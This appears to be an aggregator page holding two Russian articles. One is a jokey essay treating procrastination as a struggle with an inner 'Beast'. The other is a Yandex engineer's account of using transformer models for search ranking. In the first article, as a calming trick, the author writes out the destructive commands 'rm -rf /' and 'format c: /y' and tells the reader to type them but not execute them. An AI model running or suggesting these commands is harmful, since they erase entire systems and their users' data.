Типичное "костыльное" наследование "всё читай, этот байт не читай, это плохой байт, фу!". Мозг вообще содержит кучу интересных "костылей" взять хотя бы рефлекс икоты или то, как мы не видим собственный нос.

Вот этот вот склад древних механизмов, legacy в чистом виде, наработанный за миллионы лет, управляет нашим поведением не меньше, чем современные (выработанные за последние тысячелетия) привычки.

Поэтому разговор с собой это не шизофрения, не раздвоение личности. Это согласование обмена данными между двумя независимыми логическими блоками, примерно как между CPU и Controller Hub. Если у них случается гонка (race condition) за контролем над мыслями привет, прокрастинация!


Определения


Самые элементарные события задействуют в нашем мозгу десятки функциональных механизмов, причём эти функции мы включаем не задумываясь. Я отношу их к Зверской части сознания, а осмысленные, осознанные называю Человеческими.


При этом Зверь отвечает за такие области как чувства, ощущения, эмоции, рефлексы. Их можно заглушать подавлять Человеческим сознанием, всё-таки мы sapienti. Но если внутренний конфликт переходит в серьёзное, затяжное противостояние с самим собой это скорее всего закончится нервными срывами, сбоями, той самой прокрастинацией и профессиональным выгоранием.


Но под контролем Зверя ещё многие подсознательные механизмы, не слишком очевидные. Какие механизмы, к примеру, сработают, когда мы видим на дороге обычный камень?


  1. Кеширование: "уже видели такой объект?"
  2. Оценка интересности: "опасен? может быть полезным?"
  3. Оценка возможности: "сумею его поднять? перевернуть? разломать?"
  4. Оценка важности: "насколько важно это вообще делать?"

Очень частая причина прокрастинации в сбоях этих механизмов, например, в механизме оценки возможности (выполнимости задачи).


Приведу в пример до смешного нелепую ситуацию

Видел это своими глазами и участвовал:


Человек хочет научиться кататься на лыжах. Но когда его просто просят встать на лыжи, бьётся в истерике со слезами и криками "я не могу!". Не ехать, нет! Просто встать на них. Он же сам просил! Говоришь "Ладно, снимай лыжи" слёзы и крики "я не хочу!".


Дело в том, что человеку 7 лет, и он не умеет ещё разрешать конфликт двух внутренних сущностей: одна (Человек) сама просит научить кататься, другая вопит "я не могу!" и боится (Зверь). Зверь считает поставленную задачу невыполнимой, и блокирует действия Человека.


Причина 1: Сбой оценки выполнимости задачи


Сознанием-то мы понимаем, что вот этот легаси-код можно распутать. Вот эту статью очень давно хочется написать. Надо потратить всего 20 минут в день и выучить итальянский. И пойти отжаться хотя бы 20 раз, физуху поправить.


Но Зверь внутри против! Он уверен, что это невозможно, а раз так то и пытаться не стоит.


Очень часто мы не можем даже начать делать что-то просто потому, что убедили себя: это невозможно. Много раз видел такое. И всегда получалось: если набраться терпения, убедить и объяснить, то человек легко делал то, что только что считал невозможным.

P.S. Да, я тренер

Положите на пути у человека камень из папье-маше он обойдёт, не пытаясь подвинуть. Повесьте на человека десяток задач, распишите сроки, устройте ему полный канджайл-анбан, и он перестанет что-то делать вообще. GTD, если со Зверем гармонии нет "отличная штука", чтобы выгореть окончательно.


stones


А если задач уже снежный ком да проще уволиться, сбежать, спрятаться и ничего не делать. Сколько раз я слышал: "у нас разработчик исчез с проекта, бросил всё и не отвечает ни на телефон, ни на почту". Это как раз поведение Зверя, который чувствует его загоняют. Бежать, бежать, спасаться!


Пожалейте зверушку. Бороться с этим можно тремя методами одновременно:


  1. Декомпозиция: Разбивать задачи на очевидно выполнимые этапы
  2. Приоритизация: Убирать все лишние задачи из поля зрения
  3. Мотивация: Вознаграждать себя за каждый выполненный этап

Это кажется глупым, но иногда стоит даже ставить отдельную задачу "Открыть IDE" и получать награду за это. Помните, мы договариваемся с недоверчивым животным.


Стоит потратить часы и дни, чтобы проставить приоритеты задачам и выделить 1-3, которые реально будем делать сегодня. Лучше одну, чтобы этапы были обозримы и очевидно выполнимы. Это необходимо, чтобы Зверь не боялся и не мешал Человеку работать, делая попытки сбежать при каждом ослаблении контроля.


Поощрения также необходимы, без очевидной награды выполнение задачи теряет для Зверя смысл. Можно иногда просто заставлять Зверя пахать, но если вы уже в прокрастинации по уши значит, вероятно, Человек уже потерял доверие Зверя и тот старательно саботирует попытки работать.


Вспомним: мы принуждали Зверя тысячу раз работали над интересной задачей вместо того, чтобы пойти тусить с интересными самцами и привлекательными самочками. Когда доводили себя до истощения, сидя ночами над конспектами лекций перед экзаменами. Когда вместо ярких мультиков или футбола шли делать домашку, пока не заболит голова. Да просто заставляем себя сидеть в кресле и кодить, в то время как здоровое тело требует движения!

Поэтому приманивать Зверя надо аккуратно, понемножку зарабатывать доверие. Надо слушать себя и понимать, чего бы сейчас хотелось на самом деле. Помогает перебирать в мозгу вкусы, запахи, ощущения. "Хочешь сладких апельсинов?" "Хочешь свежего воздуха и размяться?" "Хочешь общения с противоположным полом?"


Прислушаться и выбрать то примитивное, чего хочет Зверь, а не того, что намыслил себе Человек. Поэтому в хорошем офисе есть и печеньки, и гамаки, и балкон с верандой это окупается. Но о бонусах позже.


Причина 2 сбой механизма оценки важности


Задачи "почесать мозг", "прочитать свежие новости" кажутся Человеку вторичными, но Зверь считает, что нет вещей важнее сытости и удовольствия. Чего хочет Зверь? Свежую печень(ку), поиграть, чтобы почесали и погладили. Связка "заработать денег получить нужное" работает для Человека, но Зверю это понять малореально.


Он тихонько шепчет в левое ухо: "ты же заслужил перерыв отдохни немножко не так важно решать эту задачу прямо сейчас, давай позже вечером завтра...". И мы незаметно для себя принимаем решение почесать ЧСВ в комментах, карму там минуснуть, поиграть 5 минуток во что-нибудь или просто пожевать вкусненького. Ведь это недолго? А потом можно заняться делом Нельзя.


Когда мы идём на поводу у Зверя, перехватить контроль обратно очень сложно, пока он не насытится и не отдаст бразды правления обратно. Такой метод борьбы с прокрастинацией тоже работает, конечно, но отнимает кучу времени и ведёт к снежному кому дел и ожирению.

Если послушаться всё, пропала работа. Зверь перехватит контроль над мыслями и очнешься слишком поздно у пустого холодильника ночью или переполненного баг-трекера под конец рабочего дня. А то, как наши звери любят работать, очень хорошо иллюстрирует известная фотография "Причина, по которой кошачьи бега непопулярны":


bega


Бороться с этим можно и нужно, для этого проговаривать внутри себя:


  • почему важно именно сейчас поработать
  • почему если этого не начать делать прямо сейчас, не успеешь сделать задачу вовремя
  • почему если не сделать вовремя, лишишься простых и понятных бонусов

Можно попробовать компромисс, договориться с собой, что работаешь 50 минут по таймеру, а дальше обязательно отдыхаешь 10. И честно выполнить обещание, Зверь не тупой и запоминает, когда ему раз за разом врут.


Обратный способ не работает, не получится пообещать Зверю 10 минут чтения новостей, а потом работу потому что Зверь с часами не особо дружит. Он ест не по минутам, а пока не насытится; и развлекается так же.


В общем, если всё время проговаривать, почему то или иное важно причём примитивно и понятно, чтобы и до Зверя дошло то сохранить контроль над мыслями будет сильно легче.


Причина 3 невозможность концентрироваться


Если Человек хочет работать, а Зверь совсем другого, работа превращается в работу в шумной комнате, только крики и голоса раздаются внутри головы. Пока я писал этот абзац, успел прочитать новости в ленте ВК, поискать, как по-английски правильнее сказать"бесоёбить", захотеть в туалет, захотеть почистить правое ухо и захотеть укрыть ноги пледом. Что угодно, лишь бы не работать. Здравствуй, Зверь, минут 40 не просил внимания и на том спасибо.


Можем ли мы думать две мысли одновременно?

Легко, если явно одну мысль думает Зверь: "мяса бы сейчас кусок чтоб шкворчал"!, а другую Человек: "надо написать собственный сборщик мусора, эффективность вырастет на 3.5%".

А вот если сложно определить, кому принадлежит мысль например, желание проверить новые сообщения в почте, то Человек, сам не замечая того, отвлекается.

Здорово работать, когда мы вовлечены в контекст задачи и держим в памяти всё необходимое. Когда отвлекают контекст теряется, и продуктивность работы зверски падает.


И здесь же вторая сложность, с выбиванием из контекста. Если Человеческое сознание выбивают из контекста внезапно и резко, оно не успевает переключиться с задачи, и управление телом перехватывает Зверь.


Дзыньк! Уведомление! Ваш компьютер надо перезагрузить не позднее чем через 12 часов, иначе его проглотит демон. Коллеги дёрнули по какому-то вопросу, начальнику приспичило обсудить вопрос в зуме, уведомление пришло и надо ответить на письмо (см. причину.2, почему это кажется важным).


Или просто устал, расслабился и контроль уплыл. "Всё, надоело, отдыхаю" и где-то на заднем плане слышны тихие вопли "Нет! Ещё не разобрался с API Dropbox!", но руки уже переключились на броузер...


demon


Концентрацию внимания можно тренировать отдельно, мозг неплохо обучается фильтровать помехи. Но если нас выбивают из фокусировки ничего не поделаешь.


Пути возврата в концентрацию, в фокус должны быть заранее проработаны. Но, возможно, Зверь вполне справедливо требует внимания. Поэтому надо часто, хотя бы раз в 10 минут внутренним cron-ом, проверять:


  • а не занят ли я фигнёй?
  • действительно ли я делаю то, что мне нужно?
  • а не пора ли мне действительно отдохнуть?

Последний пункт не менее важен, чем два предыдущих. А чтобы у Зверя не было повода отвлечься или прерваться, необходимо заранее подготовиться:


  • убрать всё, что может отвлечь из поля зрения: лишние вкладки в броузере тому пример
  • затруднить "бессознательный" доступ к развлечениям даже закладок на развлекательные ресурсы на видном месте быть не должно
  • телефон, уведомления и прочее хорошо бы временно отключать
  • в досягаемости должны быть вода, какие-нибудь хлебцы/сушки/сухофрукты
  • должно быть достаточно свежего воздуха
  • организму должно быть достаточно питания и витаминов

Окружение настраивает, если окружение настроено

Если мы хотим нормально работать, не отвлекаясь лучше научиться договариваемся со Зверем, чтобы не перебивал. Например, Помидорная техника отличный пример такой договорённости.


pomobodoro


О пряниках


Во всех перечисленных выше случаях задействован механизм поощрения. Но что любит Зверь кроме очевидных удовольствий (жрать, спать и развлекаться)?


Есть и другие стимулы:


1) Зверь любит, когда всё просто и предсказуемо.


Сделал дело, гуляй смело. Порядок на столе (который под монитором). Порядок на рабочем столе (который на мониторе). Нет непрочитанных уведомлений. Никакое окошко не манит на него переключиться, всё лишнее закрыто.


2) Зверь любит разнообразие.


Переключиться на другую задачу иногда отличный способ развлечь Зверя. Именно поэтому я лично предпочитаю держать в "Сделать сегодня" не одну задачу, а штуки три разных, периодически переключаясь между ними.


3) Зверь любит игры


Ищите способы превратить работу в игру или в интересную задачу, развлечь себя, не выпадая из контекста. Я бы никогда не дописал эту статью, если бы не развлёк себя рисованием картинок с демоном или вписыванием дракона в разрез Земли. Правда, на котиках этот механизм сбойнул, я минут на 10 подвис, рассматривая gif-ки. Но потом сработал cron, я выдернул себя из этого приятного занятия. В общем, придумывайте по ходу дела то, что вас слегка расслабит, но не выбьет из контекста!


4) Зверь любит, когда всё получается


Неудачи выбивают его из колеи. Вылетел Photoshop? Не работает копипаста с StackOverflow? Регулярное выражение не ловит то, что должно? Заказчик недоволен сроками разработки? Или просто политики прикрыли все кофейни после 23? В Африке дети голодают? Любой негатив может расшатать нервы, всё это сильно демотивирует Зверя. Человеку сложно работать в таких условиях.


Объясните Зверю, что это всё мелочи жизни, ерунда, не стоящая внимания. Проговорите это про себя, отвлеките внимание чем-то позитивным. Не позволяйте себе культивировать злость или раздражение, адреналин лучше выработать другими способами.


Наберите в консоли, но не выполняйте команду rm -rf /. Замрите, подышите, прицельтесь аккуратно в Backspace и сотрите это, потом возвращайтесь к работе. Под Windows с теми же целями можно воспользоваться format c: /y.


О кнутах:


Без них может совсем развезти, у человека отрастает борода и oversize-свитер, а желания ограничиваются новым дошираком и Нетфликсом.


Дисциплину надо развивать можно делать что угодно, но по строгому графику. Ожиматься, бриться, протирать пыль или учить итальянский. Заставляя себя делать что-то не приносящее немедленного удовольствия регулярно и каждый день, мы тренируем контроль над Зверем.


Думайте об этом именно как о приучении упрямого котёнка к лотку и вы поймёте, зачем нужна муштра, вся эта нудная рутина в школе. Это и правда бессмысленно для сознания Человека, но очень полезно для управления собственным Зверем.


Ещё один способ тренировать самодисциплину отлавливать момент, когда Зверь взял контроль: решил, например, что пора отдохнуть, хотя задачи не сделаны. В этот можно момент договориться с собой, что отдохнёшь, но через 10 минут, то есть согласиться, но подкорректировать время. Это позволяет и согласиться, и сохранить контроль за собой.


Ловушка перфекционизма


Как ни странно, Зверь очень любит, когда дело доведено до конца, "лапа вылизана до блеска". Любое несовершенство бесит, ибо выглядит незаконченным. Поэтому, например, детям больше нравятся симметричные формы асимметрия это для порочных и искушённых взрослых!


Поэтому незаконченные дела или непрочитанные сообщения маячат где-то на краю сознания и отвлекают. Если не бороться с этим, можно дойти до ОКР. Проще отлавливать такие импульсы на ранней стадии и терпеливо объяснять себе, почему не надо рефакторить бабушкин макраме-код до бесконечности. Как всегда, используем простые и понятные доводы "мне за это не платят", "там ничего важного не пришло" или простые обманки "вот накопится 7 сообщений прочитаем запоем, будет классно!".


В заключение


Как видите, основные методы заключаются именно в работе с собой: прислушиваемся к себе, пытаемся понять, услышать, чего на самом деле хотим.


Это помогает не только при прокрастинации, но и во многих жизненных ситуациях, когда надо сделать выбор, от спонтанной покупки еды до выбора постоянного спутника жизни.


Гармонии вам с вашим Зверем! Не забывайте его кормить, чесать, выгуливать и давать отдыхать!

Подробнее..

Трансформеры в Поиске как Яндекс применил тяжёлые нейросети для поиска по смыслу

25.11.2020 12:06:49 | Автор: admin

Привет, Хабр. Меня зовут Саша Готманов, я руковожу группой нейросетевых технологий в поиске Яндекса. На YaC 2020 мы впервые рассказали о внедрении трансформера новой нейросетевой архитектуры для ранжирования веб-страниц. Это наиболее значимое событие в нашем поиске за последние 10 лет.

Сегодня я расскажу читателям Хабра, в чём заключается иллюзия поиска по смыслу, какой путь прошли алгоритмы и нейросети в ранжировании и какие основные сложности стоят перед теми, кто хочет применить для этой задачи трансформеры и даже заставить их работать в рантайме.

Задача поиска

Чтобы хорошо ранжировать результаты поиска, надо научиться оценивать семантическую (то есть смысловую) связь между запросом пользователя и документом (веб-страницей) из интернета. Иначе говоря, нужно построить алгоритм, который сможет предсказать, содержит ли данный документ ответ на запрос пользователя, есть ли в нём релевантная запросу информация.

С точки зрения пользователя это совершенно естественная задача. Смысл запроса ему очевиден; дальше достаточно лишь прочитать документ, понять его и либо найти в нём нужное содержание (тогда документ релевантен), либо нет (не релевантен).

Алгоритм, в отличие от человека, оперирует словами из запроса и текста документа чисто математически, как строчками из символов. Например, алгоритмически легко посчитать число совпадающих слов в запросе и документе или длину самой длинной подстроки из запроса, которая присутствует и в документе. Можно также воспользоваться накопленной историей поиска и достать из заранее подготовленной таблицы сведения о том, что запрос уже задавался в поиск много раз, а документ получил по нему много кликов (или наоборот, получил их очень мало, или вообще ещё ни разу не был показан). Каждый такой расчёт приносит полезную информацию о наличии семантической связи, но сам по себе не опирается на какое-либо смысловое понимание текста. Например, если документ отвечает на запрос, то правдоподобно, что у запроса и документа должны быть общие слова и подстроки. Алгоритм может использовать этот статистический факт, чтобы лучше оценить вероятность смысловой связи, а на основе большого числа таких расчётов уже можно построить достаточно хорошую модель. При её использовании на практике у человека будет возникать ощущение, что алгоритм понимает смысл текста.

По такому принципу и работал поиск Яндекса до 2016 года. За годы разработки для повышения качества было придумано множество остроумных эвристических алгоритмов. Одних только способов посчитать общие слова запроса и документа было предложено и внедрено несколько десятков. Вот так, к примеру, выглядит один из сравнительно простых:

Здесь каждому хиту t (то есть вхождению слова из запроса в документ, от англ. hit, попадание) присваивается вес с учётом частотности слова в корпусе (IDF, Inverse Document Frequency) и расстояний до ближайших вхождений других слов запроса в документ слева и справа по тексту (LeftDist и RightDist). Затем полученные значения суммируются по всем найденным хитам. Каждая такая эвристика при внедрении позволяла получить небольшой, но статистически значимый прирост качества модели, то есть чуть лучше приблизить ту самую смысловую связь. Суммарный эффект от простых факторов постепенно накапливался, и внедрения за длительный период (полгода-год) уже заметно влияли на ранжирование.

Немного другой, но тоже хорошо работающий способ принести качество с помощью простого алгоритма придумать, какие еще тексты можно использовать в качестве запроса и документа для уже существующих эвристик. Слова запроса можно расширить близкими им по смыслу (синонимичными) словами или фразами. Либо вместо исходного запроса пользователя взять другой, который сформулирован иначе, но выражает схожую информационную потребность. Например, для запроса [отдых на северном ледовитом океане] похожими могут быть:

[можно ли купаться в баренцевом море летом]
[путешествие по северному ледовитому океану]
[города и поселки на побережье северного ледовитого океана]

(Это реальные примеры расширений запроса, взятые из поиска Яндекса.)

Как найти похожие слова и запросы тема отдельного рассказа. Для этого в нашем поиске тоже есть разные алгоритмы, а решению задачи очень помогают логи запросов, которые нам задают пользователи. Сейчас важно отметить, что если похожий запрос найден, то его можно использовать во всех эвристических расчётах сразу; достаточно взять уже готовый алгоритм и заменить в нём один текст запроса на другой. Таким методом можно получить сразу много полезной информации для ранжирования. Что может быть чуть менее очевидно аналогично запросу можно расширять и документ, собирая для него альтернативные тексты, которые в Яндексе называют словом стримы (от англ. stream). Например, стрим для документа может состоять из всех текстов входящих ссылок или из всех текстов запросов в поиск, по которым пользователи часто выбирают этот документ на выдаче. Точно так же стрим можно использовать в любом готовом эвристическом алгоритме, заменив на него исходный текст документа.

Говоря более современным языком, расширения и стримы это примеры дополнительных контентных признаков, которые поиск Яндекса умеет ассоциировать с запросом и документом. Они ничем не отличаются от обычных числовых или категориальных признаков, кроме того, что их содержимое это неструктурированный текст. Интересно, что эвристики, для которых эти признаки изначально разрабатывались, уже утратили большую часть своей актуальности и полезности, но сами расширения и стримы продолжают приносить пользу, только теперь уже в качестве входов новых нейронных сетей.

В результате многих лет работы над качеством поиска у нас накопились тысячи самых разных факторов. При решении задачи ранжирования все они подаются на вход одной итоговой модели. Для её обучения мы используем нашу открытую реализацию алгоритма GBDT (Gradient Boosting Decision Trees) CatBoost.

Нейросети в ранжировании

Современные поисковые системы развиваются и улучшают своё качество за счёт всё более точных приближений семантической связи запроса и документа, так что иллюзия понимания становится полнее, охватывает новые классы запросов и пользовательских задач. Основным инструментом для этого в последние годы стали нейронные сети всё более возрастающей сложности. Впрочем, начало (как нам теперь кажется) было довольно простым.

Первые нейронные сети в поиске обладали простой feed-forward-архитектурой. На вход сети подаётся исходный текст в виде мешка слов (bag of words). Каждое слово превращается в вектор, вектора затем суммируются в один, который и используется как представление всего текста. Взаимный порядок слов при этом теряется или учитывается лишь частично с помощью специальных технических трюков. Кроме того, размер словаря у такой сети ограничен; неизвестное слово в лучшем случае удаётся разбить на частотные сочетания букв (например, на триграммы) в надежде сохранить хотя бы часть его смысла. Вектор мешка слов затем пропускается через несколько плотных слоёв нейронов, на выходе которых образуется семантический вектор (иначе эмбеддинг, от англ. embedding, вложение; имеется в виду, что исходный объект-текст вкладывается в n-мерное пространство семантических векторов).

Замечательная особенность такого вектора в том, что он позволяет приближать сложные смысловые свойства текста с помощью сравнительно простых математических операций. Например, чтобы оценить смысловую связь запроса и документа, можно каждый из них сначала превратить в отдельный вектор-эмбеддинг, а затем вектора скалярно перемножить друг на друга (или посчитать косинусное расстояние).

В этом свойстве семантических векторов нет ничего удивительного, ведь нейронная сеть обучается решать именно такую задачу, то есть приближать смысловую связь между запросом и документом на миллиардах обучающих примеров. В качестве таргета (то есть целевого, истинного значения релевантности) при этом используются предпочтения наших пользователей, которые можно определить по логам поиска. Точнее, можно предположить, что определённый шаблон поведения пользователя хорошо коррелирует с наличием (или, что не менее важно, с отсутствием) смысловой связи между запросом и показанным по нему документом, и собрать на его основе вариант таргета для обучения. Задача сложнее, чем может показаться на первый взгляд, и допускает различные решения. Если в качестве положительного примера обычно подходит документ с кликом по запросу, то найти хороший отрицательный пример гораздо труднее. Например, оказывается, что почти бесполезно брать в качестве отрицательных документы, для которых был показ, но не было клика по запросу. Здесь снова открывается простор для эвристических алгоритмов, а их правильное использование позволяет на порядок улучшить качество получающейся нейронной сети в задаче ранжирования. Алгоритм, который лучше всего показал себя на практике, называется в Яндексе алгоритмом переформулировок и существенно опирается на то, что пользователям свойственно при решении поисковой задачи задавать несколько запросов подряд, постепенно уточняя формулировку, то есть переформулировать исходный запрос до тех пор, пока не будет найден нужный документ.

Пример архитектуры сети в подходе с семантическими эмбеддингами. Более подробное описание этого подхода тут.

Важное ограничивающее свойство такой сети: весь входной текст с самого начала представляется одним вектором ограниченного размера, который должен полностью описывать его смысл. Однако реальный текст (в основном это касается документа) обладает сложной структурой его размер может сильно меняться, а смысловое содержание может быть очень разнородным; каждое слово и предложение обладают своим особым контекстом и добавляют свою часть содержания, при этом разные части текста документа могут быть в разной степени связаны с запросом пользователя. Поэтому простая нейронная сеть может дать лишь очень грубое приближение реальной семантики, которое в основном работает для коротких текстов.

Тем не менее, использование плотных feed-forward-сетей в своё время позволило существенно улучшить качество поиска Яндекса, что легло в основу двух крупных релизов: Палех и Королёв. В значительной степени этого удалось добиться за счёт длительных экспериментов с обучающими выборками и подбором правильных контентных признаков на входе моделей. То есть ключевыми вопросами для нас были: На какой (кликовый) таргет учить? и Какие данные и в каком виде подавать на вход?

Интересно, что хотя нейронная сеть обучается предсказывать связь между запросом и документом, её затем можно легко адаптировать и для решения других смысловых задач. Например, уже готовую сеть можно на сравнительно небольшом числе примеров дообучить для различных вариантов запросной или документной классификации, таких как выделение потока порнозапросов, товарных и коммерческих, навигационных (то есть требующих конкретного сайта в ответе) и так далее. Что ещё более важно для ранжирования, такую же сеть можно дообучить на экспертных оценках. Экспертные оценки в ранжировании это прямые оценки смысловой связи запроса и документа, которые ставятся людьми на основе понимания текста. В сложных случаях правильная оценка требует специальных знаний в узкой области, например в медицине, юриспруденции, программировании, строительстве. Это самый качественный и самый дорогой из доступных нам таргетов, поэтому важно уметь его выучивать максимально эффективно.

Нейронная сеть, сначала обученная на миллиардах переформулировок, а затем дообученная на сильно меньшем количестве экспертных оценок, заметно улучшает качество ранжирования. Это характерный пример применения подхода transfer learning: модель сначала обучается решать более простую или более общую задачу на большой выборке (этот этап также называют предварительным обучением или предобучением, англ. pre-tain), а затем быстро адаптируется под конкретную задачу уже на сильно меньшем числе примеров (этот этап называют дообучением или настройкой, англ. fine-tune). В случае простых feed-forward-сетей transfer learning уже приносит пользу, но наибольшего эффекта этот метод достигает с появлением архитектур следующего поколения.

Нейросети-трансформеры

Долгое время самой активно развивающейся областью применения для сложных алгоритмов анализа текста была задача машинного перевода. Результат работы переводчика это полностью сгенерированный текст, и даже небольшие смысловые ошибки сразу заметны пользователю. Поэтому для решения задач перевода всегда использовались самые сложные модели, которые могли учесть порядок слов в тексте и их взаимное влияние друг на друга. Сначала это были рекуррентные нейронные сети (Recurrent Neural Networks, RNN), а затем трансформеры. Далее речь пойдёт только о трансформерах, которые по сути являются более технологически совершенным развитием идеи рекуррентных сетей.

В сетях с архитектурой трансформеров каждый элемент текста обрабатывается по отдельности и представляется отдельным вектором, сохраняя при этом своё положение. Элементом может быть отдельное слово, знак пунктуации или частотная последовательность символов, например BPE-токен. Сеть также включает механизм внимания (англ. attention), который позволяет ей при вычислениях концентрироваться на разных фрагментах входного текста.

Применительно к задаче ранжирования, по запросу [купить кофеварку] такая нейронная сеть может выделить часть документа (e.g. страницы интернет-магазина), в которой речь идёт именно о нужном пользователю товаре. Остальные части тоже могут быть учтены, но их влияние на результат будет меньше. Трансформеры могут хорошо выучивать сложные зависимости между словами и активно используются для генерации естественных текстов в таких задачах, как перевод и ответы на вопросы (англ. question answering). Поэтому в Яндексе они применяются уже достаточно давно. В первую очередь, конечно, в Яндекс.Переводчике.

В ранжировании трансформеры позволяют добиться нового уровня качества при моделировании семантической связи запроса и документа, а также дают возможность извлекать полезную для поиска информацию из более длинных текстов. Но одних только ванильных трансформеров для этой задачи мало.

Transformers + transfer learning

Глубокие нейронные сети достаточно требовательны к объёму примеров для обучения. Если данных мало, то никакого выигрыша от применения тяжёлой архитектуры не получится. При этом практических задач всегда много, и они несколько отличаются друг от друга. Собрать миллиарды примеров для каждый задачи просто невозможно: не хватит ни времени, ни бюджета. На помощь снова приходит подход transfer learning. Как мы уже разобрались на примере feed-forward-сетей, суть в том, чтобы переиспользовать информацию, накопленную в рамках одной задачи, для других задач. В Яндексе этот подход применяется повсеместно, особенно он хорош в компьютерном зрении, где обученная на поиске изображений базовая модель легко дообучается почти на любые задачи. В трансформерах transfer learning тоже ожидаемо заработал.

В 2018-м команда OpenAI показала, что если обучить трансформер на сыром корпусе текстов большого размера в режиме языковой модели, а затем дообучать модель на малых данных для конкретных задач, то результат оказывается существенно лучше, чем раньше. Так родился проект GPT (Generative Pre-trained Transformer). Похожая идея чуть позже легла в основу проекта BERT (Bidirectional Encoder Representations from Transformers) от Google.

Такой же метод мы решили применить и в качестве поиска Яндекса. Но для этого нам потребовалось преодолеть несколько технологических трудностей.

Трансформеры в поиске Яндекса

Проект BERT замечателен тем, что каждый может взять в открытом доступе уже готовую предобученную модель и применить её к своей задаче. Во многих случаях это даёт отличный результат. Но, к сожалению, поиск Яндекса не такой случай. Простое дообучение готовой модели приносит лишь небольшое улучшение качества, совершенно непропорциональное затратам ресурсов, которые необходимы для применения такой модели в рантайме. Чтобы раскрыть реальные возможности трансформера для поиска, нужно было обучать свою модель с нуля.

Для иллюстрации приведу несколько результатов из наших экспериментов. Давайте возьмём открытую модель BERT-Base Multilingual и обучим на наши экспертные оценки. Можно измерить полезность такого трансформера как дополнительного фактора в задаче ранжирования; получим статистически значимое уменьшение ошибки предсказания релевантности на 3-4%. Это хороший фактор для ранжирования, который мы бы немедленно внедрили, если бы он не требовал применения 12-слойного трансформера в рантайме. Теперь возьмём вариант модели BERT-Base, который мы обучили с нуля, и получим уменьшение ошибки предсказания почти на 10%, то есть более чем двукратный рост качества по сравнению с ванильной версией, и это далеко не предел. Это не значит, что модель Multilingual от Google низкого качества. С помощью открытых моделей BERT уже было получено много интересных результатов в разных задачах NLP (Natural Language Processing, то есть в задачах обработки текстов на естественном языке). Но это значит, что она плохо подходит для ранжирования веб-страниц на русском языке.

Первая трудность, которая возникает на пути к обучению своего трансформера, это вычислительная сложность задачи. Новые модели хорошо масштабируются по качеству, но при этом в миллионы раз сложнее, чем те, которые применялись в поиске Яндекса раньше. Если раньше нейронную сеть удавалось обучить за один час, то трансформер на таком же графическом ускорителе Tesla v100 будет учиться 10 лет. То есть без одновременного использования хотя бы 100 ускорителей (с возможностью быстрой передачи данных между ними) задача не решается в принципе. Необходим запуск специализированного вычислительного кластера и распределённое обучение на нём.

Нам потребовалось немного времени, пара сотен GPU-карт, место в одном из дата-центров Яндекса и классные инженеры. К счастью, всё это у нас было. Мы собрали несколько версий кластера и успешно запустили на нём обучение. Теперь модель одновременно обучается примерно на 100 ускорителях, которые физически расположены в разных серверах и общаются друг с другом через сеть. И даже с такими ресурсами на обучение уходит около месяца.

Несколько слов про само обучение. Нам важно, чтобы получившаяся модель решала с оптимальным качеством именно задачу ранжирования. Для этого мы разработали свой стек обучения. Как и BERT, модель сначала учится свойствам языка, решая задачу MLM (Masked Language Model), но делает это сразу на текстах, характерных для задачи ранжирования. Уже на этом этапе вход модели состоит из запроса и документа, и мы с самого начала обучаем модель предсказывать ещё и вероятность клика на документ по запросу. Удивительно, но тот же самый таргет переформулировок, который был разработан ещё для feed-forward-сетей, отлично показывает себя и здесь. Обучение на клик существенно увеличивает качество при последующем решении семантических задач ранжирования.

В дообучении мы используем не одну задачу, а последовательность задач возрастающей сложности. Сначала модель учится на более простых и дешёвых толокерских оценках релевантности, которыми мы располагаем в большом количестве. Затем на более сложных и дорогих оценках асессоров. И наконец, обучается на итоговую метрику, которая объединяет в себе сразу несколько аспектов и по которой мы оцениваем качество ранжирования. Такой метод последовательного дообучения позволяет добиться наилучшего результата. По сути весь процесс обучения выстраивается от больших выборок к малым и от простых задач к более сложным и семантическим.

На вход модели мы подаём всё те же контентные признаки, о которых шла речь в самом начале. Здесь есть текст запроса, его расширения и фрагменты содержимого документа. Документ целиком всё ещё слишком большой, чтобы модель могла справиться с ним полностью сама, без предварительной обработки. Стримы тоже содержат полезную информацию, но с ними нам ещё надо поработать, чтобы понять, как её эффективно донести до поиска. Сложнее всего оказалось выделить хорошие фрагменты текста документа. Это вполне ожидаемо: чтобы выделить наиболее важную часть веб-страницы, уже нужно многое понимать про её смысловое содержание. Сейчас нам на помощь опять приходят простые эвристики и алгоритмы автоматической сегментации, то есть разметки страницы на структурные зоны (основное содержание, заголовки и так далее). Стоимость ошибки достаточно велика, иногда для правильного решения задачи необходимо, чтобы модель увидела одно конкретное предложение в длинном тексте статьи, и здесь ещё остается потенциал для улучшений.

Итак, мы научились обучать модели в офлайне, но вот работать им уже нужно в онлайне, то есть в реальном времени в ответ на тысячи пользовательских запросов в секунду. Тут заключается вторая принципиальная трудность. Применение трансформера это тяжелая для рантайма задача; модели такой сложности можно применять только на GPU-картах, иначе время их работы окажется чрезмерным и легко может превысить время работы всего поиска. Потребовалось разработать с нуля и развернуть несколько сервисов для быстрого применения (инференса, англ. inference) трансформеров на GPU. Это новый тип инфраструктуры, который до этого не использовался в поиске.

Непосредственно для применения мы доработали внутреннюю библиотеку для инференса трансформеров, которая разработана нашими коллегами из Яндекс.Переводчика и, по нашим замерам, как минимум не уступает другим доступным аналогам. Ну и конечно, всё считается в FP16 (16-битное представление чисел с плавающей точкой).

Однако, даже с учетом использования GPU и оптимизированного кода для инференса, модель с максимальным уровнем качества слишком большая для внедрения в рантайм поиска. Для решения этой проблемы есть классический приём knowledge distillation (или dark knowledge). В Яндексе мы используем менее пафосный термин пародирование. Это обучение более простой модели, которая пародирует поведение более сложной, обучаясь на её предсказания в офлайне.

В результате пародирования сложность модели удаётся уменьшить в разы, а потери качества остаются в пределах ~10%.

Это не единственный способ оптимизации. Мы также научились делать многозадачные модели, когда одна модель подражает сразу нескольким сложным моделям, обученным на разные задачи. При этом суммарная полезность модели для ранжирования существенно возрастает, а её сложность почти не увеличивается.

Если же хочется добиться максимального качества, то возможностей одной дистилляции недостаточно. Приходится поделить модель на несколько частей, каждая из которых применяется независимо. Часть модели применяется только к запросу; часть только к документу; а то, что получилось, затем обрабатывается финальной связывающей моделью. Такой метод построения раздельной или split-модели распределяет вычислительную нагрузку между разными компонентами системы, что позволяет сделать модель более сложной, увеличить размер её входа и заметно повысить качество.

